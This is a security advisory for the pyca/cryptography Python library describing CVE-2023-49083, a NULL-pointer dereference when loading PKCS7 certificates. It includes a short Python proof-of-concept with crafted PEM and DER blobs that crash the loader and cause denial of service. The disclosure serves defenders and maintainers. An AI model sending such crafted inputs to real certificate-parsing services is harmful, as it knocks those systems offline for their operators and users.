pyca/cryptography · Security
cryptography vulnerable to NULL-dereference when loading PKCS7 certificates
- GHSA ID
- GHSA-jfhm-5ghh-2f97
- CVE ID
- CVE-2023-49083
- Severity
- medium
- Published
- Updated
- CVSS
- 5.9 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- CVSS v3
- 5.9 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
Summary
Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.
PoC
Here is a Python code that triggers the issue:
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""
der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"
load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
CWEs
- CWE-476 · NULL Pointer Dereference
References
- https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97 ↗
- https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a ↗
- https://nvd.nist.gov/vuln/detail/CVE-2023-49083 ↗
- https://github.com/pyca/cryptography/pull/9926 ↗
- http://www.openwall.com/lists/oss-security/2023/11/29/2 ↗
- https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2023-254.yaml ↗
- https://lists.fedoraproject.org/archives/list/[email protected]/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV ↗
- https://lists.debian.org/debian-lts-announce/2024/10/msg00012.html ↗
- https://github.com/advisories/GHSA-jfhm-5ghh-2f97 ↗